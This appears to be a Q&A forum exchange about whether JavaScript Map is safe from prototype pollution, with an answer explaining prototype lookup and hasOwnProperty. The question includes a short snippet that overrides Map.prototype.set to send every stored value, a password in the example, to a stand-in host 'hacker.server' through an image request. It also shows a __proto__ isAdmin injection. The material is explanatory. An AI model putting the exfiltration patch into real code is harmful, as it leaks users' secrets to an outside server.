Regarding the security of JavaScript Maps
, there exist claims like these:
The Map primitive was introduced in ES6. The Map data structure stores key/value pairs, and it is not susceptible to prototype pollution. [1]
It essentially works as a HashMap, but without all the security caveats that
Object
have. When a key/value structure is needed,Map
should be preferred toObject
. [2]
You in fact can replace a Map's
functionality, using the conventional technique, in a way that affects all instances present and future:
const myMap = new Map();
// Malicious code
const oldSet = Map.prototype.set;
Map.prototype.set = function(key, value) {
const img = new Image();
img.src = 'https://hacker.server/?' + JSON.stringify(value);
return oldSet.call(this, key, value);
};
// Your data is now stolen
myMap.set('password', 'hunter2');
Presumably, what these authors mean when they say ‘not susceptible to prototype pollution’ is restricted to the fact that this style of injection attack doesn't work with Map
:
const myMap = new Map();
myMap.set('__proto__', {isAdmin: true});
myMap.get('isAdmin'); // undefined
…in the same way that it would work with objects:
const obj = {};
obj['__proto__'] = {isAdmin: true};
obj.isAdmin; // true
Is that correct?
What they mean is that accessing Map
elements doesn't search the prototype. If you ask whether a name exists, you won't get a false positive if the name matches something in the prototype, and there's no conflict between element names used by the application and names provided from the language.
Compare:
let prop = 'constructor';
const myObj = {};
console.log(myObj[prop]);
with
let prop = 'constructor';
const myMap = new Map();
console.log(myMap.get(prop));
When using objects, you have to use a method like hasOwnProperty()
to distinguish properties of the object from properties inherited from the prototype. That's why recommendations for looping through object properties is like this:
for (var key in p) {
if (p.hasOwnProperty(key)) {
console.log(key + " -> " + p[key]);
}
}
(Note that this problem is also mitigated by using Object.keys()
.)
And it also means you can't create your own properties that conflict with properties inherited from the prototype (unless you intentionally want to override them).
Notice that in ES6, new functions for object introspection were added as ordinary functions in the Object
object, rather than as prototype methods. That's why we have Object.entries()
rather than Object.prototype.entries()
-- they didn't want to create new conflicting prototype properties.